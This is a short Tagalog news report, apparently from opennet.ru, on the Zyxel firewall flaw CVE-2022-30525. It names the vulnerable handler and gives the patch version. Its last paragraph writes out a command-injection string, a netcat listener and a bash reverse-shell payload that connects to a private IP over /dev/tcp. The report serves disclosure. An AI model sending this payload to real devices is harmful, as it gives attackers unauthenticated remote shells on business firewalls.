Ang kahinaan sa mga firewall ng Zyxel na nagbibigay-daan sa pagpapatupad ng code nang walang pagpapatunay

Ang isang kritikal na kahinaan (CVE-2022-30525) ay natukoy sa mga Zyxel device ng serye ng ATP, VPN at USG FLEX, na idinisenyo upang ayusin ang pagpapatakbo ng mga firewall, IDS at VPN sa mga negosyo, na nagpapahintulot sa isang panlabas na umaatake na magsagawa ng code sa device na walang mga karapatan ng user nang walang authentication. Upang magsagawa ng pag-atake, ang isang umaatake ay dapat na makapagpadala ng mga kahilingan sa device gamit ang HTTP/HTTPS protocol. Inayos ni Zyxel ang kahinaan sa pag-update ng firmware ng ZLD 5.30. Ayon sa serbisyo ng Shodan, kasalukuyang may 16213 na potensyal na masusugatan na device sa pandaigdigang network na tumatanggap ng mga kahilingan sa pamamagitan ng HTTP/HTTPS.

Ang operasyon ay isinasagawa sa pamamagitan ng pagpapadala ng mga espesyal na idinisenyong utos sa web handler /ztp/cgi-bin/handler, naa-access nang walang authentication. Ang problema ay sanhi ng kakulangan ng wastong paglilinis ng mga parameter ng kahilingan kapag nagpapatupad ng mga utos sa system gamit ang os.system call na ginamit sa lib_wan_settings.py library at isinagawa kapag pinoproseso ang operasyon ng setWanPortSt.

Halimbawa, maaaring ipasa ng isang umaatake ang string na “; ping 192.168.1.210;" na hahantong sa pagpapatupad ng "ping 192.168.1.210" na utos sa system. Upang makakuha ng access sa command shell, maaari mong patakbuhin ang “nc -lvnp 1270” sa iyong system, at pagkatapos ay magsimula ng reverse connection sa pamamagitan ng pagpapadala ng kahilingan sa device gamit ang '; bash -c \»exec bash -i &>/dev/tcp/192.168.1.210/1270 <&1;\»;'.

Pinagmulan: opennet.ru